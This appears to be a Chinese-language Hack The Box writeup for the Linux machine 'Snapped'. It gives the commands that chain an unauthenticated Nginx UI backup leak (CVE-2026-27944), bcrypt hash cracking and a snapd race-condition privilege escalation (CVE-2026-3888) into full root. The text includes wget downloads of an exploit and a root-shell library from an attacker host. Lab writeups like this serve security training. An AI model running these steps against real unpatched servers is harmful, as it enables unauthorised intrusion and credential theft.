# HTB Snapped — 硬核 Linux 机器通关攻略。将 CVE-2026-27944(Nginx UI 未授权备份泄露)与 CVE-2026-3888(snapd 竞态条件本地提权)串联利用,实现系统完全攻陷。
HTB Snapped — 困难级 Linux 机器 writeup。CVE-2026-27944(Nginx UI 未认证备份泄露)与 CVE-2026-3888(snapd 竞态条件 LPE)链式利用,实现完全系统入侵。
难度: 困难
操作系统: Linux (Ubuntu 24.04)
发布日期: 2026年3月23日
CVE: CVE-2026-27944, CVE-2026-3888
Snapped 是一台困难级 Linux 机器,托管着一个位于 nginx 之后的静态站点,并带有 Nginx UI 管理面板。初始访问通过利用 CVE-2026-27944 获得——这是一个未认证的备份端点,会泄露 AES 加密密钥。在解密备份并从 SQLite 数据库中破解 bcrypt 哈希后,即可获得 SSH 访问权限。通过 CVE-2026-3888(snapd 中 snap-confine 与 systemd-tmpfiles 之间的竞态条件)实现到 root 的权限提升。
nmap -sCV <TARGET_IP>
开放端口: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
发现: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
2.3.3 之前的 Nginx UI 版本暴露了 /api/backup 且无需认证。响应头 X-Backup-Security 泄露了解密备份归档所需的 AES-256-CBC 密钥和 IV。
步骤 1 — 下载备份并提取密钥/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
步骤 2 — 转换为十六进制并解密:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
步骤 3 — 从 SQLite 数据库中提取哈希:
strings database.db | grep '\$2a\$'
# 找到用户 jonathan、admin 的 bcrypt 哈希
步骤 4 — 破解哈希:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
步骤 5 — SSH 访问:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 是 snapd 中的一个本地权限提升漏洞,影响 Ubuntu 24.04。它滥用了两个系统组件之间的 TOCTOU 竞态条件:
/tmp/.snap当 systemd-tmpfiles 删除 /tmp/.snap 时,攻击者可以用恶意内容重新创建它。当 snap-confine 下次初始化沙箱时,它会以 root 权限绑定挂载攻击者控制的目录,从而实现动态链接器劫持。
步骤 1 — 验证易受攻击的版本:
snap version
# snapd 2.63.1+24.04 — 存在漏洞(已在 2.73 中修复)
步骤 2 — 在攻击者机器上编译漏洞利用程序:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
步骤 3 — 传输到目标机器:
# 攻击者机器
python3 -m http.server 8080
# 目标机器
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
步骤 4 — 运行漏洞利用程序:
# 会话 1 — 运行漏洞利用程序
~/exploit ~/librootshell.so
# 会话 2 — 看到 "Polling..." 时触发清理
rm -rf /tmp/.snap
步骤 5 — Root shell:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt